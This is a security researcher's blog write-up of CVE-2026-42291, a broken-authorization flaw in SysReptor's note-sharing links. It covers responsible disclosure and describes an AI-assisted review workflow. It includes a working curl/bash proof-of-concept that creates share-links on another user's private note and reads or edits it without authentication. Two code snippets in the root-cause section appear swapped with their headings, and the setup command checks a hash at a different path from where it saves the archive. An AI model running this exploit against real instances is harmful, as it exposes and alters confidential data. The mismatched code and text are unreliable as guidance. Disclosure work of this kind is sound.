CVE-2026-42291: Read-write access to personal notes by sharing-link creation with no authorization in SysReptor Professional

I want to share how I found and exploited CVE-2026-42291 (SysReptor Advisory here).

Table of contents:

  • Why was I looking at the sharing of notes?
  • Working with the SysReptor team
  • The Cyborg approach
  • Technical details
  • Root cause analysis
  • Disclosure timeline

Why was I looking at the sharing of notes?

Any feature that takes private data and makes it reachable without authentication is interesting!

In addition, new features or functionality is also a area worth investigating. In this instance, it was both reasonably new functionality and allowing for exposing data without authentication. So I had to take a look.

Why this class of feature in particular?

  1. The feature is by definition designed to bypass the normal authentication flow for the resource. It is supposed to be possible to publish it by design. The research question then becomes: Can only I publish it? What is required to publish a note?
  2. Sharing functionality is often complex. It takes an existing object and changes the permission associated with the object or, in many cases, it creates a duplicate of the existing object but with different permissions and access rules This makes it prone to flaws.
  3. The impact is significant. Being able to publish information or content that is supposed to be private can be very harmful to trust, especially in a tool where high-impact, confidential information is held, Imagine if someone stores data about customer vulnerabilities they have found and it is published publicly online! Not good!

In this instance SysReptor lets you turn a personal note into a shared note. The endpoint that creates the share-link did not check whether the personal note belonged to you. So you could create a share-link on someone else’s note, hand it to anyone (including yourself, unauthenticated), and read or modify the contents.

When I look at a new application, I try to make a mental map of high-impact bugs I would like to look for. Then I take those and cross-check with recent functionality that was added or changed. This usually creates a prioritized list for me to work on, where the combination of highest impact + newest feature lands on the top of the list.

Tip for finding IDORs during source code review

Any call where the URL contains both a user/tenant identifier and a resource identifier, or if it takes identifier both in the body and the URL. Basically – any place where more than one ID is supplied. That double-identifier is classic for IDORs due to the fact that it usually means validation happens based on user supplied content instead of trusted data. An example: If a normal request takes your user ID in the body of a POST-request and also takes a user ID and a resource ID in the path. Often one is used for authentication & authorization, while the other for performing the action – normally body is used for auth-checks while path is for operations (in my experience)

Working with the SysReptor team

The SysReptor / Syslifters team are a joy to deal with. I sent the report on a Tuesday evening (~23:00). The next morning at 07:40 they they had triaged it, confirmed the issue, and by 10:40 they had pushed a fix, done incident response and published a new version and the advisory. From submission to patched release and advisory was 12 hours!!! That is crazy fast – the fastest I have ever seen!

In addition to working fast, they communicated regularly throughout their process and kept me informed. They also answered my questions and concerns in a kind and professional manner. They engaged with the technical content, understood the impact and issue, and credited the report properly. That sounds basic, but if you have ever tried to responsibly disclose anything before, you know it is a rare experience.

If anyone is trying to improve or set up a framework for responsible disclosure, here are some tips (all of which SysReptor has done):

  1. Make reporting easy – contact information should be easily available (looking at you https://securitytxt.org)
  2. Respond quickly acknowledging that you are looking into the matter
  3. Give feedback if you consider the bug valid or not. Add caveats and considerations that the reporter may not have insight into (e.g. this CVE does not really affect public SysReptor instances because everyone has the admin role and can elevate)
  4. Fix the bug quickly or communicate an expected timeline for the fix
  5. Inform when the fix is complete and post the advisory
  6. Spread information to your users that they should update

It may take you a couple hours extra of work, but in return you will have thankful reporters eager to come back and help secure your software.


NB: I know there is talk about a lot of AI slop being reported these days. If the report is not actionable, that feedback should be given and the process short-circuited at point 3.

The Cyborg approach

I am no great security researcher – just to have that be clear from the start. What I am good at, is finding leads. Using AI as a quick sniff-test to check for issues and then manually doing verification and follow up is where my time is best spent and where most value is created. As such, I wanted to share a little about our approach to using AI for testing:

Step 1: Get to know the software (Get intimate with the application)

This is quite straight forward. Use the application. Get familiar with which features can have high impact. Look up (or know by using the application regularly) which features and changes are new.

Step 2: Run Ghost

I have tried quite a few different approaches, and really like Ghost. I normally do /ghost-scan-code in Claude Code, from within the root folder of the repo. If it is a small application, I will run it with /ghost-scan-code depth=full, otherwise I usually run it with the default setting (quick). **NB: Can result in missing key findings. Tailor scan depth to the size of the repo through trial and error. The depth documentation is a little hidden, so here are the options and defaults:
depth: quick (default), balanced, or full

Step 3: Hunt manually while scanning

While the scan is running, «manually» test the application and look for bugs (Caido with Shift is recommended) . This helps you cover the parts the AI might miss and gives you context and understanding to interpret results.

Step 4: Challenge results and cross-reference with own knowledge

When the scan is done, run a prompt that challenges and validates the assumptions and results. I usually write something like:

Be direct, professional and fair but be critical of all findings and evaluations you produced. Assume everything to be wrong, but allow yourself to be convinced otherwise if the evidence supports it. Produce an evaluation for all findings and suggest next steps for testing and validation.

It helps if you can be even more concrete for the different types of finding it produces.

Step 5: Cross-reference with codeql and semgrep

Sometimes you can skip this, but I often also run scans of the code-base using codeql and semgrep for validation. This can run in parallel with Step 4. I use this skill from Trail of Bits

Step 6: Critical review of all findings. Validate in new session

Very similar to step 4, but this time it validates all information gathered. The initial scan, my insight, results from codeql and semgrep and any other background I can give it.

Step 7: Ask for manual validation steps – validate and verify

Ask the AI to give you steps to manually verify. Ask it for a step-by-step guide to where to press in the UI, what to look for to indicate success and any other input that is useful. I often also ask for scripts (like the one for this finding) to automate the PoC, in order for me to easily understand what is happening behind the scenes. Basically: give me a recipe for how to ensure the finding is valid.

A tip is to make sure all files the AI work on is written to the current directory, for you to review. I use these files extensively for my own validation and for having the AI do independent reviews in new sessions.

Technical details

Summary

IDOR in SysReptor share-links lets any user read and modify other users’ private notes

A Broken Object Level Authorization (BOLA / IDOR) vulnerability in the share-notes feature lets any authenticated non-guest user list, create, modify, and revoke share-links on any other user’s private notes. Exploitation requires a valid account and the UUID of a victim note. Once a share-link is created, the contents are reachable through SysReptor’s unauthenticated public share endpoint. If the attacker sets permissions_write: true on the share-link, they can also modify the victim’s note content through that public surface.

No elevated role and no licensed feature is required. Both Community and Professional editions are affected, but all users in the Community edition are admins by default, which lowers impact significantly.

Affected version

Tested against syslifters/sysreptor:latest v2026.25, default configuration.

Reproduction

NB: Only test against instances you are authorized to test or spin up a local instance.

Set up the environment:

				
					curl --fail -L -o sysreptor_v2026.25.tar.gz "https://github.com/Syslifters/sysreptor/releases/download/2026.25/setup.tar.gz" && \
echo "5e7a78f0d1c450f91b82a2105013b8f627b426eb8daff84721da50ed506bda3c  /tmp/sysreptor_v2026.25.tar.gz" | sha256sum -c - && \
tar xzf sysreptor_v2026.25.tar.gz && \
cd sysreptor/deploy && cp app.env.example app.env && \
docker compose up -d
				
			

A note on the test setup: Community Edition only permits superuser accounts, but is_admin requires the user to elevate inside the application. This PoC does not activate elevation, and the exploit still works. This is intentional in the PoC, the bug does not require admin.

Create two accounts via manage.py shell:

				
					from sysreptor.users.models import PentestUser
for e in ['attacker@example.com', 'victim@example.com']:
    u, _ = PentestUser.objects.get_or_create(
        username=e,
        defaults={'email': e, 'is_active': True, 'is_superuser': True},
    )
    u.set_password('password123')
    u.save()

				
			

In the UI as the victim, create a personal note titled MySecretNote with a body of your choice. My suggestion: Please do not share my secrets! secret123. The URL for the created note will be like this: http://127.0.0.1:8000/notes/personal/<NOTE_ID>. Record the NOTE_ID.

Now, as the attacker, run the script below after pasting in the victim’s note UUID:
PS: If you are not using the two example accounts above, you have to swap out VICTIM_USERNAME and the hard-coded attacker@example.com and corresponding password password123.

I know it is an insecure password – it is used for demo purposes. Don’t shoot me please!

				
					#!/usr/bin/env bash
set -euo pipefail

HOST=127.0.0.1:8000 # <------- Change host if not attacking local instance
VICTIM_USERNAME=victim@example.com
NOTE_ID=<victim note UUID> # <------- Insert victim note ID here

hr() { printf '\n----- %s -----\n' "$*"; }
show() { printf '\n$ %s\n' "$*"; }

hr "Step 1: Log in as attacker (an ordinary authenticated user)"
CMD="curl -sS -c a.jar -b a.jar -H 'Content-Type: application/json' \
-X POST http://$HOST/api/v1/auth/login/ \
-d '{\"username\":\"attacker@example.com\",\"password\":\"password123\"}'" # <----- Hardcoded attacker-account
show "$CMD"; eval "$CMD"; echo
CSRF=$(awk '/csrftoken/ {print $7}' a.jar)

hr "Step 2: Discover the victim's user UUID via the user search"
CMD="curl -sS -b a.jar 'http://$HOST/api/v1/pentestusers/?search=$VICTIM_USERNAME'"
show "$CMD"
SEARCH_JSON=$(eval "$CMD")
VICTIM_ID=$(echo "$SEARCH_JSON" | jq -r --arg u "$VICTIM_USERNAME" \
'.results[] | select(.username==$u) | .id')
echo "-> VICTIM_ID=$VICTIM_ID"

hr "Step 3: List the victim's existing share-info records"
CMD="curl -sS -b a.jar 'http://$HOST/api/v1/pentestusers/$VICTIM_ID/notes/$NOTE_ID/shareinfos/'"
show "$CMD"; eval "$CMD" | jq .

hr "Step 4: Mint a new share-link on the victim's note"
CMD="curl -sS -b a.jar -c a.jar -H 'Content-Type: application/json' \
-H 'X-CSRFToken: $CSRF' -H 'Referer: http://$HOST/' \
-X POST 'http://$HOST/api/v1/pentestusers/$VICTIM_ID/notes/$NOTE_ID/shareinfos/' \
-d '{\"expire_date\":\"2070-12-31\",\"password\":null,\"permissions_write\":false,\"comment\":\"bola-poc\"}'"
show "$CMD"
CREATE_JSON=$(eval "$CMD"); echo "$CREATE_JSON" | jq .
SHAREINFO_ID=$(echo "$CREATE_JSON" | jq -r '.id')

hr "Step 5: Read the victim's note with NO authentication"
CMD="curl -sS 'http://$HOST/api/public/shareinfos/$SHAREINFO_ID/notes/'"
show "$CMD"
LEAKED_JSON=$(eval "$CMD"); echo "$LEAKED_JSON" | jq .
echo "Browser equivalent: http://$HOST/shared/$SHAREINFO_ID/"
				
			

The expected outcome:

  • Step 3 returns a 200 OK with the JSON list scoped to the victim’s note. This already proves cross-user resolution.
  • Step 4 returns 201 Created with a fresh share-link ID owned by the victim’s note.
  • Step 5 returns the victim’s note contents over an unauthenticated request.

What does the script do?

  1. Log in as the attacker – boring!
  2. http://$HOST/api/v1/pentestusers/?search=$VICTIM_USERNAME -> Find the Victim Users UUID from an authenticated endpoint allowing user lookup
  3. GET http://$HOST/api/v1/pentestusers/$VICTIM_ID/notes/$NOTE_ID/shareinfos/ -> List existing share-links for the private note we are targeting
  4. POST http://$HOST/api/v1/pentestusers/$VICTIM_ID/notes/$NOTE_ID/shareinfos/ -> Create a new share-link for the private note
  5. GET http://$HOST/shared/$SHAREINFO_ID/ -> Access the data without authentication. Also possible to edit the data if we set "permissions_write":true in the JSON body of request 4.

Root cause analysis

Three things had to line up for the bug to work:

1. URL-based user resolution does not check ownership

The viewset (api/src/sysreptor/pentests/views.py:1474-1495) resolves the pentestuser_pk from the URL using the global queryset:

				
					class UserNoteShareInfoViewSet(UserSubresourceViewSetMixin, mixins.CreateModelMixin, mixins.UpdateModelMixin, viewsets.ReadOnlyModelViewSet):

    permission_classes = api_settings.DEFAULT_PERMISSION_CLASSES + [ShareInfoPermissions]
    serializer_class = ShareInfoSerializer

    @functools.cached_property
    def _get_note(self):
        if not self.request:
            return None
        qs = self.get_user().notes.all() # any user, not just request.user
        return get_object_or_404(qs, note_id=self.kwargs.get('note_id'))
				
			

get_user() comes from UserSubresourceViewSetMixin and resolves whatever UUID is in the URL against PentestUser.objects.all(). There is no request.user == view.get_user() check.

2. The permission class approves every authenticated non-guest user

 

				
					class ShareInfoPermissions(permissions.BasePermission):
    def has_permission(self, request, view):
        if request.method in permissions.SAFE_METHODS:
            return True
        elif configuration.DISABLE_SHARING:
            return False
        elif request.user.is_admin:
            return True
        elif request.user.is_guest and not configuration.GUEST_USERS_CAN_SHARE_NOTES:
            return False
        return True
				
			

The SAFE_METHODS short-circuit means GET is unconditionally allowed for any authenticated caller, including reads of share-link records on someone else’s note. The return True then permits every non-guest user to POST, PATCH, PUT, DELETE on share-links. There is no has_object_permission, and ownership is never compared.

3. The serializer trusts the URL

ShareInfoSerializer.create (api/src/sysreptor/pentests/serializers/notes.py:309-314) takes the usernote straight from the serializer context, which the viewset populates with the result of get_note():

				
					class UserNotebookPermissions(permissions.BasePermission):
    def has_permission(self, request, view):
        if request.user == view.get_user():
            return True
        if request.user.is_admin and ( request.method in permissions.SAFE_METHODS or view.action in ['export_pdf']):
            return True
        return False
				
			

So a POST /api/v1/pentestusers/{VICTIM_ID}/notes/{NOTE_ID}/shareinfos/ request produces a ShareInfo bound to the victim’s note, signed off as if the attacker rightfully owned it.

What the correct pattern looks like (my assumption, not validated)

The same codebase has the right pattern. Sibling viewsets on the same mixin use UserNotebookPermissions, which actually compares users (api/src/sysreptor/users/permissions.py:137-143):

				
					def create(self, validated_data):
    return super().create(validated_data | {    'projectnote': self.context.get('projectnote'),    'usernote': self.context.get('usernote'),    'shared_by': self.context['request'].user,})
				
			

If UserNoteShareInfoViewSet included this class it would likely have been safe.

Public surface exposure includes edit-rights

Public routes are wired in api/src/sysreptor/conf/urls.py:132-135:

  • GET /api/public/shareinfos/{id}/notes/
  • GET /api/public/shareinfos/{id}/notes/{note_id}/

Reads happen unauthenticated. With permissions_write: true on the share-link (and the site-wide config SHARING_READONLY_REQUIRED not set, which is the default), the same public surface accepts writes. The attacker can rewrite the victim’s notes through a URL that requires no session.

Mitigation

The fix is small. Add UserNotebookPermissions to UserNoteShareInfoViewSet.permission_classes alongside ShareInfoPermissions. As defense in depth, one can reject cross-user pentestuser_pk values inside _get_note.

If you operate a SysReptor instance, update to the patched release!

Disclosure timeline (in GMT+2 )

  • 21 Apr 2026 22:40: Reported to SysReptor.
  • 22 Apr 2026 07:41: Triaged and bug confirmed
  • 22 Apr 2026 08:41: Response with nuance about impact from SysReptor
  • 22 Apr 2026 10:37: Patched, new release and advisory published
  • 26 Apr 2026 15:03: CVE-2026-42291 assigned and published (By GitHub, CVE requested by SysReptor on 22 Apr 2026 08:03)

Thank you for reading!

PS! Crossposted here: https://robinlunde.com/blog/cve-2026-42291-read-write-access-to-personal-notes-by-sharing-link-creation-with-no-authorization-in-sysreptor-professional

Flere innlegg

Skroll til toppen